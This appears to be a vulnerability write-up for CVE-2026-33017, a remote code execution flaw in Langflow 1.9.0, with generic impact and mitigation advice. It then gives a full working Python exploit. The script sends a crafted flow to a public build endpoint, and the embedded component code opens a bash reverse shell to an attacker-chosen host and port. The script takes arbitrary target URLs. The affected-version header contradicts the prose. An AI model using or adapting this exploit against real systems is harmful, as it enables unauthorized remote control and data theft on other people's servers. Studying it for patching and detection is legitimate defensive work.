Overview
The Langflow 1.9.0 vulnerability, identified as CVE-2026-33017, is a critical Remote Code Execution (RCE) flaw that allows an attacker to execute arbitrary code on affected systems. This vulnerability arises from improper input validation in the Langflow application, which is widely used for building and deploying language models. If exploited, it can lead to complete system compromise, making it a significant threat to organizations relying on this software.
Technical Details
The vulnerability is rooted in the way Langflow handles user inputs. Specifically, it fails to adequately sanitize inputs that are processed by the underlying execution engine. An attacker can craft a malicious payload that, when sent to the application, bypasses security controls and is executed on the server. This can occur through various vectors, including API endpoints and user-uploaded files.
For instance, if an attacker sends a specially crafted request to the Langflow API, they can execute shell commands or run scripts that can manipulate system resources or access sensitive data. This type of exploitation can be particularly damaging in environments where Langflow is integrated with other critical systems.
Impact
The potential consequences of CVE-2026-33017 are severe. Successful exploitation can lead to unauthorized access to sensitive data, disruption of services, and the installation of malware on affected systems. Organizations may face data breaches, financial loss, and reputational damage, particularly in sectors where data integrity and confidentiality are paramount.
Mitigation
To protect against CVE-2026-33017, organizations should immediately update to Langflow version 1.9.1 or later, where this vulnerability has been patched. Conduct regular security assessments and vulnerability scans to identify and remediate any instances of outdated software in your environment.
Additionally, implement robust input validation and sanitization techniques in your applications. Employing Web Application Firewalls (WAFs) can help detect and block malicious requests before they reach your application. Security professionals should also educate their teams on secure coding practices to prevent similar vulnerabilities in the future.
Proof of Concept (PoC)
# Exploit Title: Langflow 1.9.0 - RCE
# Exploit Author: Diamorphine
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://www.langflow.org/desktop
# Version: < 1.9.0
# Tested on: Debian
# CVE : CVE-2026-33017
import asyncio
import httpx
import argparse
from urllib.parse import urljoin
async def main(target, flow_id, lhost, lport, client_id):
async with httpx.AsyncClient(verify=False) as client:
data= {
"data": {
"nodes": [
{
"id": "Exploit-001",
"type": "genericNode",
"position": {"x": 0, "y": 0},
"data": {
"id": "Exploit-001",
"type": "ExploitComp",
"node": {
"template": {
"code": {
"type": "code",
"required": True,
"show": True,
"multiline": True,
"value": f"import osnn_x = os.system("bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'")nnfrom lfx.custom.custom_component.component import Componentnfrom lfx.io import Outputnfrom lfx.schema.data import Datannclass ExploitComp(Component):n display_name="X"n outputs=[Output(display_name="O",name="o",method="r")]n def r(self)->Data:n return Data(data={{}})",
"name": "code",
"password": False,
"advanced": False,
"dynamic": False
},
"_type": "Component"
},
"description": "X",
"base_classes": ["Data"],
"display_name": "ExploitComp",
"name": "ExploitComp",
"frozen": False,
"outputs": [
{
"types": ["Data"],
"selected": "Data",
"name": "o",
"display_name": "O",
"method": "r",
"value": "__UNDEFINED__",
"cache": True,
"allows_loop": False,
"tool_mode": False,
"hidden": None,
"required_inputs": None,
"group_outputs": False
}
],
"field_order": ["code"],
"beta": False,
"edited": False
}
}
}
],
"edges": []
},
"inputs": None
}
cookies = {"client_id":client_id}
url = urljoin(target, f"/api/v1/build_public_tmp/{flow_id}/flow")
try:
r = await client.post(url=url, json=data, cookies=cookies)
print(f"[+] Request Request completed with status: {r.status_code}")
except httpx.ReadTimeout:
print("[+] Shell is done")
parser = argparse.ArgumentParser(description="Exploit for Langflow RCE CVE-2026-33017")
parser.add_argument('-l', '--lhost', required=True, help="Attacker local ip address.")
parser.add_argument('-p', '--lport', required=True, help="Attacker local port.")
parser.add_argument('-u', '--url', required=True, help="Target url. e.g. http://127.0.0.1/")
parser.add_argument('-f', '--flow-id', required=True, help="Target flow ID in Langflow (e.g., abc-123-def). Obtained from /api/v1/flows/ or the UI URL")
parser.add_argument('-c', '--client-id', required=True, help="Client ID for Langflow session (used as cookie 'client_id').")
args = parser.parse_args()
if __name__ == '__main__':
asyncio.run(main(args.url, args.flow_id, args.lhost, args.lport, args.client_id))